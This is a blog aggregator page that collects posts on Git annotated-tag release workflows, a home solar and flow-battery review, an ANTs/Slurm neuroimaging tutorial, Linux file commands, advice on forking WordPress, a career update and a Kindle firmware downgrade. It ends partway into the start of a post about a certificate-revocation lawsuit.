    Slightly more complicated is action-validator. This is a Rust CLI tool which validates GitHub Actions and Workflows (how very meta) against a published JSON schema, to make sure you haven’t got any syntax or structural errors. As not everyone has a Rust toolchain on their local box, the release process helpfully build binaries for several common OSes and CPU architectures that people can download if they choose. The release process in this case is somewhat larger, but not particularly complicated. Almost half of it is actually scaffolding to build an experimental WASM/NPM build of the code, because someone seemed rather keen on that.

    Moving away from Rust, and stepping up the meta another notch, we can take a look at the release process for git-version-bump itself, my Ruby library and associated CLI tool which started me down the “Just Tag It Already” rabbit hole many years ago. In this case, since gemspecs are very amenable to programmatic definition, the release process is practically trivial. Remove the boilerplate and workarounds for GitHub Actions bugs, and you’re left with about three lines of actual commands.

    These approaches can certainly scale to larger, more complicated processes. I’ve recently implemented annotated-tag-based releases in a proprietary software product, that produces Debian/Ubuntu, RedHat, and Windows packages, as well as Docker images, and it takes all of the information it needs from the annotated tag. I’m confident that this approach will successfully serve them as they expand out to build AMIs, GCP machine images, and whatever else they need in their release processes in the future.

    Objection, Your Honour!

    I can hear the howl of the “but, actuallys” coming over the horizon even as I type. People have a lot of Big Feelings about why this release process won’t work for them. Rather than overload this article with them, I’ve created a companion article that enumerates the objections I’ve come across, and answers them. I’m also available for consulting if you’d like a personalised, professional opinion on your specific circumstances.

    DVD Bonus Feature: Pre-releases

    Unless you’re addicted to surprises, it’s good to get early feedback about new features and bugfixes before they make it into an official, general-purpose release. For this, you can’t go past the pre-release.

    The major blocker to widespread use of pre-releases is that cutting a release is usually a pain in the behind. If you’ve got to edit changelogs, and modify version numbers in a dozen places, then you’re entirely justified in thinking that cutting a pre-release for a customer to test that bugfix that only occurs in their environment is too much of a hassle.

    The thing is, once you’ve got releases building from annotated tags, making pre-releases on every push to main becomes practically trivial. This is mostly due to another fantastic and underused Git command: git describe.

    How git describe works is, basically, that it finds the most recent commit that has an associated annotated tag, and then generates a string that contains that tag’s name, plus the number of commits between that tag and the current commit, with the current commit’s hash included, as a bonus. That is, imagine that three commits ago, you created an annotated release tag named v4.2.0. If you run git describe now, it will print out v4.2.0-3-g04f5a6f (assuming that the current commit’s SHA starts with 04f5a6f).

    You might be starting to see where this is going. With a bit of light massaging (essentially, removing the leading v and replacing the -s with .s), that string can be converted into a version number which, in most sane environments, is considered “newer” than the official 4.2.0 release, but will be superceded by the next actual release (say, 4.2.1 or 4.3.0). If you’re already injecting version numbers into the release build process, injecting a slightly different version number is no work at all.

    Then, you can easily build release artifacts for every commit to main, and make them available somewhere they won’t get in the way of the “official” releases. For example, in the proprietary product I mentioned previously, this involves uploading the Debian packages to a separate component (prerelease instead of main), so that users that want to opt-in to the prerelease channel simply modify their sources.list to change main to prerelease. Management have been extremely pleased with the easy availability of pre-release packages; they’ve been gleefully installing them willy-nilly for testing purposes since I rolled them out.

    In fact, even while I’ve been writing this article, I was asked to add some debug logging to help track down a particularly pernicious bug. I added the few lines of code, committed, pushed, and went back to writing. A few minutes later (next week’s job is to cut that in-process time by at least half), the person who asked for the extra logging ran apt update; apt upgrade, which installed the newly-built package, and was able to progress in their debugging adventure.

    Continuous Delivery: It’s Not Just For Hipsters.

    “+1, Informative”

    Hopefully, this has spurred you to commit your immortal soul to the Church of the Annotated Tag. You may tithe by buying me a refreshing beverage. Alternately, if you’re really keen to adopt more streamlined release management processes, I’m available for consulting engagements.

    Matt PalmerInvalid Excuses for Why Your Release Process Sucks

    In my companion article, I made the bold claim that your release process should consist of no more than two steps:

    1. Create an annotated Git tag;

    2. Run a single command to trigger the release pipeline.

    As I have been on the Internet for more than five minutes, I’m aware that a great many people will have a great many objections to this simple and straightforward idea. In the interests of saving them a lot of wear and tear on their keyboards, I present this list of common reasons why these objections are invalid.

    If you have an objection I don’t cover here, the comment box is down the bottom of the article. If you think you’ve got a real stumper, I’m available for consulting engagements, and if you turn out to have a release process which cannot feasibly be reduced to the above two steps for legitimate technical reasons, I’ll waive my fees.

    “But I automatically generate my release notes from commit messages!”

    This one is really easy to solve: have the release note generation tool feed directly into the annotation. Boom! Headshot.

    “But all these files need to be edited to make a release!”

    No, they absolutely don’t. But I can see why you might think you do, given how inflexible some packaging environments can seem, and since “that’s how we’ve always done it”.

    Language Packages

    Most languages require you to encode the version of the library or binary in a file that you want to revision control. This is teh suck, but I’m yet to encounter a situation that can’t be worked around some way or another.

    In Ruby, for instance, gemspec files are actually executable Ruby code, so I call code (that’s part of git-version-bump, as an aside) to calculate the version number from the git tags. The Rust build tool, Cargo, uses a TOML file, which isn’t as easy, but a small amount of release automation is used to take care of that.

    Distribution Packages

    If you’re building Linux distribution packages, you can easily apply similar automation faffery. For example, Debian packages take their metadata from the debian/changelog file in the build directory. Don’t keep that file in revision control, though: build it at release time. Everything you need to construct a Debian (or RPM) changelog is in the tag – version numbers, dates, times, authors, release notes. Use it for much good.

    The Dreaded Changelog

    Finally, there’s the CHANGELOG file. If it’s maintained during the development process, it typically has an archive of all the release notes, under version numbers, with an “Unreleased” heading at the top. It’s one more place to remember to have to edit when making that “preparing release X.Y.Z” commit, and it is a gift to the Demon of Spurious Merge Conflicts if you follow the policy of “every commit must add a changelog entry”.

    My solution: just burn it to the ground. Add a line to the top with a link to wherever the contents of annotated tags get published (such as GitHub Releases, if that’s your bag) and never open it ever again.

    “But I need to know other things about my release, too!”

    For some reason, you might think you need some other metadata about your releases. You’re probably wrong – it’s amazing how much information you can obtain or derive from the humble tag – so think creatively about your situation before you start making unnecessary complexity for yourself.

    But, on the off chance you’re in a situation that legitimately needs some extra release-related information, here’s the secret: structured annotation. The annotation on a tag can be literally any sequence of octets you like. How that data is interpreted is up to you.

    So, require that annotations on release tags use some sort of structured data format (say YAML or TOML – or even XML if you hate your release manager), and mandate that it contain whatever information you need. You can make sure that the annotation has a valid structure and contains all the information you need with an update hook, which can reject the tag push if it doesn’t meet the requirements, and you’re sorted.

    “But I have multiple packages in my repo, with different release cadences and versions!”

    This one is common enough that I just refer to it as “the monorepo drama”. Personally, I’m not a huge fan of monorepos, but you do you, boo. Annotated tags can still handle it just fine.

    The trick is to include the package name being released in the tag name. So rather than a release tag being named vX.Y.Z, you use foo/vX.Y.Z, bar/vX.Y.Z, and baz/vX.Y.Z. The release automation for each package just triggers on tags that match the pattern for that particular package, and limits itself to those tags when figuring out what the version number is.

    “But we don’t semver our releases!”

    Oh, that’s easy. The tag pattern that marks a release doesn’t have to be vX.Y.Z. It can be anything you want.

    Relatedly, there is a (rare, but existent) need for packages that don’t really have a conception of “releases” in the traditional sense. The example I’ve hit most often is automatically generated “bindings” packages, such as protobuf definitions. The source of truth for these is a bunch of .proto files, but to be useful, they need to be packaged into code for the various language(s) you’re using. But those packages need versions, and while someone could manually make releases, the best option is to build new per-language packages automatically every time any of those definitions change.

    The versions of those packages, then, can be datestamps (I like something like YYYY.MM.DD.N, where N starts at 0 each day and increments if there are multiple releases in a single day).

    This process allows all the code that needs the definitions to declare the minimum version of the definitions that it relies on, and everything is kept in sync and tracked almost like magic.

    Th-th-th-th-that’s all, folks!

    I hope you’ve enjoyed this bit of mild debunking. Show your gratitude by buying me a refreshing beverage, or purchase my professional expertise and I’ll answer all of your questions and write all your CI jobs.

    Friday, 22 November 2024

    Tim SerongSomething Interesting Happened

    Our 5.94kW solar array with Redflow ZCell battery and Victron Energy inverter/charger system is now slightly over three years old, which means it’s time to review its third year of operation. There are several previous posts in this series:

    If you’ve read the above you’ll know that the solar array was originally installed back in 2017 along with a Sanden heat pump hot water service. That initial installation saved us a lot on our electricity bills, but it wasn’t until we got the ZCell and the Victron gear that we were able to really manage our own power. The ZCell allows us to store our own locally generated electricity for later use, and the Victron kit manages everything and gives us a whole lot of fascinating data to look at via the VRM portal.

    There were some kinks in the first two years. We missed out on three weeks of prime solar PV generation from January 20 – February 11 in 2022 due to having to replace the MPPT solar charge controller. We also had no solar PV generation from February 17 – March 9 in 2023 on account of having our old tile roof replaced with colorbond steel. In my last post on this topic I wrote:

    In both cases our PV generation was lower than it should have been by an estimated 500-600kW. Hopefully nothing like this happens again in future years.

    …and then at the very end of that post:

    I’m looking forward to doing another one of these posts in a year’s time. Hopefully I will have nothing at all interesting to report.

    Alas, something “like this” did happen again, and I have some interesting things to report.

    In early December 2023 our battery failed due to a leak in the electrode stack. It was replaced under warranty, but the replacement unit didn’t arrive until March 2024. It was a long three months. Then in August when we were looking at finally purchasing a second ZCell, we discovered that Redflow had made a commercial decision to focus exclusively on large-scale deployments (minimum 200 kWh, i.e. 20 batteries) and was thus no longer selling individual ZBMs for residential or small business use. As an existing customer we probably would have still been able to get a second battery, except that in late August the company went into voluntary administration after failing to secure funding to build a new factory in Queensland. The administrators attempted to seek a sale and/or recapitalisation, but this was ultimately unsuccessful. The company ceased operations on October 18 and subsequently went into liquidation. This raises several questions about the future of our system, but more on that later. First, let’s look at how the system performed in year three.

    Here are the figures for grid power in, solar generation, power used by our loads, and power exported to the grid over the past three years. As in the last two posts, the “what?” column here is the difference between grid in plus solar in, minus loads minus export, i.e. the power consumed by the system itself, or the energy cost of the system.

    YearGrid InSolar InTotal InLoadsExportTotal Outwhat?
    2021-20228,5315,64014,17110,84975411,6032,568
    2022-20238,9365,74414,68011,53479912,3332,347
    2023-20248,8785,62114,49911,1621,48912,6511,848

    Note that in year three our grid power usage and solar generation are slightly down from the previous year (-58kWh and -123kWh respectively), so the total power going into the system is lower by 181kWh. Our loads are happily down by 372kWh, a good chunk of which will be due to replacing some old always-on computer equipment with something a bit less power hungry.

    What’s really interesting here is that our power exported to the grid is close to double the previous two years, and the energy cost of the system is noticeably lower. In the first two years of operation the latter figure was 16-18% of the total power going into the system, but in year three it’s down to a bit under 13%.

    The additional solar export appears to be largely due to the failed battery. Compare the following two graphs from 2022-2023 and 2023-2024.Yellow is direct usage of solar power, blue is solar to battery and red is solar to grid. As you can see there’s way more solar to grid in the period December 2023 – March 2024 when the battery was dead and thus unable to be charged:

    Why is there still any blue in that period indicating solar power was going to the battery? This is where things get a bit weird. One consideration is that the battery is presumably still drawing a tiny bit of power for its control circuitry and fans, but when I look at the figures for January 2024 (for example), it shows 76.8 kWh of power going to the battery from solar. There is no way that actually happened with the battery dead and unable to be charged.

    Here’s what I think is going on: when the battery went into failure mode, the ZCell Battery Management System (BMS) will have told the Victron gear not to charge it. This effectively disabled the MPPT solar charger, which meant we weren’t able to use our solar at all, not even to run the house. I asked Murray from Lifestyle Electrical Services if there was some way we could reconfigure things to still use solar power with the battery out of action and he remoted in and tweaked some settings. Unfortunately I don’t have an exact record of what was changed at this point, because it was discussed via phone. All I have in my notes is a very terse “Set CGX to use Victron BMS?” which doesn’t make much sense because we don’t have a Victron BMS. Possibly it refers to switching the battery monitor setting from “ZCell BMS” to “MultiPlus-II 48/5000/ 70-50 on VE.Bus”. Anyway, whatever the case, I think we have to assume that the “to battery” and “from battery” figures from December 2023 – March 2024 are all lies.

    At this point we were able to limp along with our solar generation still working during the day, but something was still not quite right. Every morning and evening the MPPT appeared to be fighting to run. Watching the console at, say, 08:00, I’d see the MPPT providing solar power for a few seconds, then it’d stop for a second or two, then it’d run again for a few seconds. After some time it would start behaving normally and we’d have solar generation for the day, but then in the evening it would go back to that flicking on and off behaviour. My assumption is that the ZCell BMS was still trying to force the MPPT off. Then in mid-Februrary I suddenly got a whole lot of Battery Low Voltage warnings from the MPPT, which I guess makes sense – the ZCell was still connected and its reported voltage had been very slowly dropping away over the past couple of months. The warnings appeared when it finally hit 2.5V. Murray and I experimented further to try to get the MPPT to stop doing the weird fighting thing, but were unsuccessful. At one point during this we ended up with the Mutli-Plus II inverter/chargers in some sort of fault state and contacted Simon Hackett for further assistance. We got all the Victron gear back into a sensible state and Simon and I spent a bunch of time on a Saturday afternoon messing with everything we could think of, but ultimately we were unable to get the MPPT to provide power from the solar panels, and use grid power, without the battery present. One or the other – grid power only or solar power only – we could do, but we couldn’t get the system to do both at the same time again without the battery present. Turns out a thing that’s designed to be an Energy Storage System just won’t quite work right without the Storage part. So from February 15 through to March 14 when the replacement battery arrived we were running on grid power only with no solar generation.

    Happily, we didn’t have any grid power outages during the three months we were without a battery. Our first outage of any note wasn’t until March 23, slightly over a week after the replacement battery was installed. There were a few brief grid outages at other times later – a couple of minutes one day in April, some glitches on a couple of days in August, but the really bad one was on the 1st of September when the entire state got absolutely hammered by extremely severe weather. Given there was a severe weather warning from the BOM I’d made sure the battery was full in advance, which was good because our grid power went out while we were asleep at about 00:37 and didn’t come back on until 17:28. We woke up some time after the grid went down with the battery at 86% state of charge and went around the house to turn off everything we could except for the fridge and freezer, which got our load down to something like 250W. By morning, the battery still had about 70% in it and even though the weather was bad we still had some solar generation, so between battery and solar we got through just fine until the grid came back on in the afternoon. We were lucky though – some folks in the north of the state were without power for two weeks due to this event. I later received a cheque for $160 from TasNetworks in compensation for our outage. I dread to think what the entire event cost everyone, and I don’t just mean in terms of money.

    Speaking of money though, the other set of numbers we need to look at are our power bills. Here’s everything from the last seven years:

    YearFrom GridTotal BillGrid $/kWhLoadsLoads $/kWh
    2016-201717,026$4,485.45$0.2617,026$0.26
    2018-20199,031$2,278.33$0.2511,827$0.19
    2019-20209,324$2,384.79$0.2612,255$0.19
    2020-20217,582$1,921.77$0.2510,358$0.19
    2021-20228,531$1,731.40$0.2010,849$0.16
    2022-20238,936$1,989.12$0.2211,534$0.17
    2023-20248,878$2,108.77$0.2411,162$0.19

    As explained in the last post, I’m deliberately smooshing a bunch of numbers together (peak power charge, off peak power charge, feed in tariff, daily supply charge) to arrive at an effective cost/kWh of grid power, then bearing in mind our loads are partially powered from solar I can also determine what it costs us to run all our loads. 2016-2017 is before we got the solar panels and the new hot water service, so you can see the immediate savings there, then further savings after the battery went in in 2021. This year our cost/kWh (and thus our power bill) is higher than last year for two reasons:

    1. We have somehow used more power at peak times than during off-peak times this year compared to last year.
    2. Power prices went up about 8% in July 2023. They actually came down about 1% in July 2024, but most of our year is before that.

    I should probably also mention that we actually spent $1,778.94 on power this year, not $2,108.77. That’s thanks largely due to a $250 ‘Supercharged’ Renewable Energy Dividend payment from the Tasmanian Government and $75 from the Federal Government’s Energy Bill Relief Fund. The remaining $4.83 in savings is from Aurora Energy’s ridiculous Power Hours events. I say “ridiculous” because they periodically give you a bunch of time slots to choose from, and once you’ve locked one of them in, any power you use at that time is free. To my mind this incentivises additional power usage, when we should really be doing the exact opposite and trying to use less power over all. So I haven’t tried to use more energy, I’ve just tried to lock in times that were in the evening when we were going to be using more grid power than during the day to scrape in what savings I could.

    One other weird thing happened this year with the new battery. ZCells need to go into a maintenance cycle every three days. This happens automatically, but is something I habitually keep an eye on. On September 11 I noticed that we had been four days without running maintenance. Upon investigation of the battery logs I discovered that the Time Since Strip counter and Strip Pump Run Timer were running at half speed, i.e. every minute they were each only advancing by approximately 30 seconds:

    I manually put the battery into maintenance mode and Simon was able to remotely reset the CPU by writing some magic number to a modbus register, which got the counters back to the correct speed. I have no idea whether this is a software bug or a hardware issue, but I’ll continue to keep an eye on it. The difficulty is going to be dealing with the problem should it recur, given the demise of Redflow. Simon certainly won’t be able to log in remotely now that the Redflow cloud is down, although there is a manual reset procedure. If you remove the case from the battery there is apparently a small phillips head screw on the panel with the indicator lights. Give the screw a twist and the lights go out. Untwist and the lights come back on and the unit is reset. I have yet to actually try this.

    The big question now is, where do we go from here? The Victron gear – the Cerbo GX console, the Multi-Plus II inverter/chargers, the MPPT – all work well with multiple different types of battery, so our basic infrastructure is future-proof. Immediately I hope to be able to keep our ZCell running for as long as possible, and if I’m able to get a second one as a result of the Redflow liquidation I will, simply so that we can ensure the greatest possible longevity of the system before we need to migrate to something else. We will also have to somehow figure out how to obtain carbon socks which need annual replacement to maintain the electrolyte pH. If we had to migrate to something else in a hurry Pylontech might be a good choice, but the problem is that we really don’t want a rack of lithium batteries in the crawl space under our dining room because of the fire risk. There are other types of flow battery out there (vanadium comes to mind) but everything I’ve looked at on that front is either way too big and expensive for residential usage, or is “coming soon now please invest in us it’s going to be awesome”.

    I have no idea what year four will look like, but I expect it to be interesting.

    Thursday, 7 November 2024

    Lev LafayetteeResearch Australasia 2024

    As per previous conferences, eResearch Australasia 2024 in Melbourne had several hundred attendees from the scientific research community, research computing developers and operators, administrators and managers, and various vendors. The program gives a very good indication of the level of this conference and the reason that it has been such a success over the last fifteen years and more.

    For the first time in the post-COVID environment, the conference was a face-to-face event and a very welcome opportunity to network with old colleagues in this environment as well as the opportunity to discover new people and new developments (as well as hearing some salacious gossip of changes in the eResearch landscape). Various presentations on artificial intelligence and machine learning (away from the current hype over Large Language Models) was prevalent, especially with regard to astounding developments in bioinformatics, of which the developers of Alphafold, the AI program that predicts protein structures, won the Nobel Prize in Chemistry is a prominent example.

    My own presentation was on the development of the Spartan general-purpose high performance computing system at the University of Melbourne, which started as a small-scale and very experimental system operating on a shoestring budget, to one of the top systems in the world. I'm pleased to say that the talk seemed to be very well received to the crowded room (my head count was at least 70) and with a number of people asking for the slide deck afterwards; based on the comments from others, Spartan is extremely well regarded within the Australian eResearch community for these successes and for our extensive training program.

    Wednesday, 23 October 2024

    Lev LafayetteANTs tutorial with Slurm Workload Manager

    This tutorial illustrates Advanced Normalization Tools (ANTs) to do image registration in 3D using data from Brain/MINDS data portal and how to apply the transforms/inverse transforms from image registration using the Slurm Workload Manager.

    ANTs is described on their repository as follows:

    "Advanced Normalization Tools (ANTs) is a C++ library available through the command line that computes high-dimensional mappings to capture the statistics of brain structure and function. It allows one to organize, visualize and statistically explore large biomedical image sets. Additionally, it integrates imaging modalities in space + time and works across species or organ systems with minimal customization."

    This tutorial is derived from the tutorial at the Brain/MINDS data portal.

    As with all Slurm jobs, start with the resource requests. Note that ANTs is memory intensive, so the request on our system is double what what would normally be allocated per CPU. Also, note that the application is multi-threaded.

    #SBATCH --ntasks=1
    #SBATCH --cpus-per-task=2
    #SBATCH --mem=40GB
    #SBATCH --time=0:30:00
    

    Let's download some brains! And what marvellous brains they are!

    "The dataset includes NIfTI files of MRI T2 ex-vivo data; reconstructed Nissl stained images of the same brain, registered to the shape of the MRI; brain region segmentation (with separate color lookup table); and gray, mid-cortical and white matter boundary segmentation" (BMA 2017 Ex Vivo (Brain Space 1)

    From: https://dataportal.brainminds.jp/atlas-package-download-main-page/refere...

    "This atlas is composed of a population average ex-vivo MRI T2WI contrast mapped with the BMA 2017 Ex Vivo (published by Woodward et al. The Brain/MINDS 3D digital marmoset brain atlas). The population average MRI was constructed based on scans of 25 individual brains. The 25 brains were aligned with one another by iteratively applying linear and non-linear registration and averaging the transformation files until convergence. Data of individual brains were then resampled with an isotropic spatial resolution of 100×100×100µm3 and averaged across brain." BMA 2019 Ex Vivo (Brain Space 2)
    From: https://dataportal.brainminds.jp/atlas-package-download-main-page/bma-20...

    This can be added to the job submission script as follows:

    wget https://cau-gin.brainminds.riken.jp/brainminds/BMA-2017/raw/master/bma-1-mri.nii.gz
    wget https://cau-gin.brainminds.riken.jp/brainminds/BMA-2017/raw/master/bma-1-region_seg.nii.gz
    wget https://cau-gin.brainminds.riken.jp/brainminds/BMA-2019/raw/master/bma_2019_exvivo/base_data/sp2_avg_mri_exvivo_t2wi_v1.0.0.nii.gz
    wget https://cau-gin.brainminds.riken.jp/brainminds/BMA-2019/raw/master/bma_2019_exvivo/labelmap/sp2_label_512_v1.0.0.nii.gz
    

    Then clear the environment and load software PATHs. This assumes LMod and modify according to the software stack available.

    module purge
    module load foss/2022a
    module load ANTs/2.4.4
    

    Now register brain1 to brain2. The options are -d 3 (the dimensions of the brain, 3 in this case), -f the fixed image or the image we want to register to, in our case, this will be brain2., -m the moving image or the image we want to register, in our case, this will be brain1., -o the output prefix, in this example, the output files will all have the prefix "brain1_tobrain2"., -n the number of threads; add this to the end of the command. Thus we get the following command:

    antsRegistrationSyNQuick.sh d 3 \
       -f sp2_avg_mri_exvivo_t2wi_v1.0.0.nii.gz \
       -m bma-1-mri.nii.gz  \
       -o brain1_to_brain2_  \
       -n 2
    

    Now conduct an inverse transform (map label2 to brain1). The option -d is the same as above., -i represents the the volume we want to register, -r is the refences image (brain1)., -o is the output file., -t are the transforms, applied right to left in this case the inverse of the affine transforms, then the inverse displacement field., -n the interpolation method to be used, nothing to do with the number of threads (see previous command).

    antsApplyTransforms -d 3 \
        -i sp2_label_512_v1.0.0.nii.gz \
        -r bma-1-mri.nii.gz \
        -o label2_to_brain1.nii.gz \
        -t [brain1_to_brain2_0GenericAffine.mat, 1] \
        -t brain1_to_brain2_1InverseWarp.nii.gz \
        -n NearestNeighbor 
    

    The full Slurm script is attached.

    If you want to compare the result with the label map before registration, you can do it by loading sp2_label_512_v1.0.0.nii.gz and bma-1-mri.nii.gz with an application like 3DSlicer.

    Thursday, 17 October 2024

    Gary PendergastHOWTO: Fork WordPress

    Congratulations on your decision to fork WordPress! You’ve taken on a mammoth task, I’m impressed with your willingness step up to the challenge of a lifetime. I’m here to give some advice on the things you might not have thought about yet, and what you’ll need to help the long term success of your fork.

    Forking, I’m please to share, is beautiful. It continues to be an important feature of the Open Source ethos, even if it has become more involved as projects have matured. Forking is a valuable tool for Open Source communities to demonstrate that they believe a project should move in a different direction.

    Before we get into the details, however, I do have to offer a few disclaimers. This post is not:

    • An active call for people to fork WordPress. In the spirit of Open Source, I think it’s important that we publicly talk about what this process looks like, even if it can be an uncomfortable discussion.
    • An announcement that I’m forking WordPress. I don’t have the free time for that.
    • An offer to wrangle your fork of WordPress. I am happy to discuss your plans and offer advice, though.

    Disclaimers out of the way, let’s begin!

    Before you Announce

    First of all, let’s talk about that big old elephant in the room: the current level of instability in the WordPress world. I wouldn’t be surprised to learn that this the major factor in motivating your fork. Unfortunately, this approach won’t get you very far, so the first thing you need to do is take any feelings you have about it, and set them aside. You need to decide what you’re in favour of, instead. What are are the positive motivational factors that will make you jump out of bed, and push this project forward for the next decade or more? What will motivate others to join you for the long haul?

    Build a community, not an angry mob.

    Think carefully about what your fork is going to be named. I’m willing to bet that you first jumped to calling it {Adjective}Press, or perhaps something with “WP” in the name. That’s a great idea if you’re planning on your project being forever defined as a protest against WordPress, but you need to think beyond that. How will you define your brand to keep it relevant for decades to come?

    Oh, and make sure you can get the domains and social media handles for your name. Having to try and get them later is just expensive and frustrating.

    Talk to people. Not just your circle of friends and colleagues who agree with you, find people who can offer different perspectives, and decide how your fork is going to help them. Talk to WordPress core contributors (not just committers!), and learn their take on it. Can you present an argument that would convince long term contributors to switch to working on your fork?

    Figure out funding, at least enough to bootstrap your project. As much as I’d love to be, most of us are not post-economic. You can only get so far as a volunteer project, you’re going to need at least some people to be paid to work on it. There are big, complex problems that crop up along the way, it’s hard to solve them if everyone has to context switch between their day job, and their volunteer work.

    The Meta Project

    If you’ve made it this far into starting your fork, give yourself a pat on the back. You’ve made it much further than many others do. Your next challenge is deciding the process of building it. You could stick with the BDFL approach, which certainly has benefits, particularly when first starting out. It might be hard to sell what many folks see as a key weakness in WordPress, though. Perhaps you might like to explore a democratic governance model, or some sort of hybrid approach. Everything has a set of benefits and trade-offs, you’ll need to decide what works for you.

    You’re going to have a bunch of technical dirty work to figure out. Where will the code be hosted? How will you track issues? Provide support? Discuss plans? Build community? Track data? Host themes, and plugins? What will you do about mobile apps?

    At first glance, each of these are fairly straightforward to answer, but it’s very easy to get lost in the possibilities. My advice here is simple: pick something, use it until it stops being valuable. You can always switch to something different later. Switching governance models might be hard, but switching server-side tools is relatively easy.

    Do the dirty work, but don’t get stuck in the weeds.

    Start thinking about how you’ll build your in-person community. Meetups, conferences, hack days, helping people move to your project, there are countless opportunities here to build your community.

    The Moat

    WordPress has three substantial factors that have made it largely unassailable for many years.

    First, there’s the massive community that’s built up around WordPress over the years. Regular meetups and conferences are an integral part of building a popular Open Source project. You can’t really piggy back off the work that WordPress has done over the years here, either. The only way forward is to put in the work to build and maintain a community that you’re proud to be a part of.

    Second, there’s the vast selection of plugins and themes that are available to download for free. The quality between options vary wildly, of course, but that’s largely irrelevant. The fact that so many options exist means there really is something for everyone. You’re going to need to figure out how to either maintain long term compatibility with existing WordPress plugins and themes, or you’re going to find yourself reproducing them all.

    Finally, you’ll need to deal with inertia. The vast majority of WordPress site owners have no need or motivation to change, so you need to make it easy (ideally, your fork would be a drop-in replacement), and beneficial. What will your fork do better to solve real problems?

    Tell Your Friends!

    It’s around about this point that you’re probably getting ready to talk about your fork publicly. Go ahead, you’ve earned it!

    Launch day is inevitably a mix of strong emotions. Elation if you get a huge positive response from the public, maybe discouragement if the public response is a bit more muted. Relief at having made it this far. Optimism about the future. Maybe even some doubt could creep in that you’re the right person to be wrangling such a huge endeavour. Whatever you end up experiencing, try not to stress about it too much. It’s a big day, but what really defines your project is what you do with it tomorrow. Next week. Next year.

    Go right back to the start, and remind yourself of the positive reasons that you’re choosing to build this project. Tell the world those positive reasons, and welcome anyone who wants to join you on the journey.

    The Long Haul

    Not every day is launch day, however. Most of your days will be… kinda boring, to be honest. That’s a good thing! Too much excitement will inevitably burn out you and your community. Sustainable effort, day after day, is how you build something to last.

    It’s a marathon, not a sprint.

    Of course, there’ll be ups and downs. It’s always okay to go back to the start, and reminder yourself (and your community!) of the positive reasons that you’re all working together on this.

    Oh, and please try to remember that one day, you’re probably not going to be the right person to lead your project any more. This isn’t something to fear, or to look forward to, really: projects, communities, and individuals all grow and change. It’s probably going to be a weird time when you get to this point, but it doesn’t have to be a time of upheaval and uncertainty. If you’ve run the project well, you should hopefully have a deep pool of talented folks who can step in to continue what you began.

    Have Fun!

    Finally, it would be remiss of me not to remind you to have fun! It’s easy to get lost in conflict at times, but it’s important to remember that… it’s just a CMS. It’s not going to be the end of the world if you take time away from the project, it’s actively beneficial for you to have a life outside of the internet. Friends, family, pets, hobbies: make time for the things that matter in your life.

    Saturday, 5 October 2024

    Yifei ZhanDon't buy a Kindle

    I believe buying a Kindle in 2024 is a bad idea, even if you only intend to use it for reading DRM-free locally stored ebooks. Basic functions such as organizing books into folders/collections are locked until the device is registered and with each system update the interface has became slower and more bloated.

    Initially I purchased this device because Amazon book store isn’t too bad and it’s one of the easier way to buy Japanese books outside of Japan, but with all the anti-features Amazon add in I don’t think it’s still worth using.

    Using a recent exploit and with this downgrader thread on the mobileread forum, I’m able to downgrade my paperwhite to an older 5.11.2 firmware which has a simpler interface while being much more responsive. If you already have a Kindle perhaps this is worth doing.

    Alternatives? #

    It’s possible to install alternative UI and custom OS to many Kindle models but they generally run slower than the default launcher. On the open hardware side Pine64 is making an e-ink tablet called the PineNote with an Rockchip RK3566 and 4G of RAM it should be fast enough to handle most documents/ebooks, but currently there is no usable Linux distribution for it.

    Tuesday, 20 August 2024

    Gary PendergastFour Thousand, Five Hundred and Forty-Eight Days

    Nearly 15 years ago, I emailed the 20-something-year-old founder of a little tech startup with a weird name. As I recall, there were maybe 20 or so people doing WordPress-y things there at the time. I started doing a bit of contract work (the hiring process wasn’t as organised back then as it is today!) and, a couple of years after that, signed up full time.

    Over 12 years later, that weird little startup has grown into a big company. It does a whole lot more than just WordPress, and it’s been a spectacular ride to get here. I’ve seen tiny little experiments and hacks grow up to be hugely popular products; I’ve worked with some of the smartest and most talented people I’ve ever met; and I even got to help lead WordPress development for a while.

    Along the way, I’ve travelled around the world multiple times, meeting thousands of folks in the WordPress community, in countless cities. We’ve built stuff together that’s been used by hundreds of millions of people and viewed by billions!

    Over the years, there are very few parts of Automattic that I hadn’t at least dipped my toes into. I’m extremely proud of everything I accomplished there, but it also gave me the sense that I’d finally reached the end of what there was for me to work on there.

    And so, a few months ago, I decided it was time for me to go exploring for new challenges. I finished up and have since been enjoying some time off, barely touching my computer. I’ve done a bit of gardening, ticked a lot of things off my to-do list around the house, and I’ve been truly able to relax for a good while.

    What’s Next?

    Now, though, I’m refreshed and ready to set off on my next adventure. This is where you come in, dear reader! Perhaps you’re looking for a tech lead to help scale your startup. Maybe you’re looking for someone with extensive experience not just with WordPress, but with the entire WordPress ecosystem and community. You could be a larger company looking for a principal engineer to inspire cross-divisional collaboration, or tackle the technical debt that inevitably builds up over the years.

    Those aren’t the only options, of course, but maybe they give you an idea of where I can help. If you have a role you think I’d be the perfect fit for, let’s chat about it! You can reach out to me on LinkedIn, or email me directly at gary@pento.net.

    Finally, if you happen to work at a company that you think I should join, let me know in the comments, or drop me a message. I’m always interested in learning more about what it’s like to work for your company!

    Wednesday, 7 August 2024

    Lev LafayetteIntermediate Directory and File Manipulation

    The basic Linux command for directory creation is mkdir $DIRNAME, with the most common options being -p to create parent directories and the handy verbose flag (-v) to print the directories to standard output as they are created. An array of subdirectories can also be created. e.g.,


    $ mkdir -p -v examples/{dir1,dir2,dir3}
    mkdir: created directory 'examples'
    mkdir: created directory 'examples/dir1'
    mkdir: created directory 'examples/dir2'
    mkdir: created directory 'examples/dir3'


    $ for d in examples/*/; do mkdir -v "${d}RHEL7"; done
    mkdir: created directory 'examples/ABAQUS/RHEL7'
    ..

    Then checked with the ever-veristile find command:


    $ find . -type d -name RHEL7
    ./GROMACS/RHEL7
    ./R/RHEL7
    ..

    A short script copies the 2015 and 2019 application files, which the author had the foresight to use the Year as a prefix naming convention. This makes use of an expanded variable, globbing, find, conditional tests, branching, redirection of standard error, and moving files.

    A list of symlinks was also identified with find;
    find . -mindepth 1 -maxdepth 2 -type l -ls.

    AttachmentSize
    Plain text icon 786.txt580 bytes

    Wednesday, 31 July 2024

    Matt PalmerHealth Industry Company Sues to Prevent Certificate Revocation

    It’s not often that a company is willing to make a sworn statement to a court about how its IT practices are incompatible with the needs of the Internet, but when they do… it’s popcorn time.

    The Combatants

    In the red corner, weighing in at… nah, I’m not going to do that schtick.

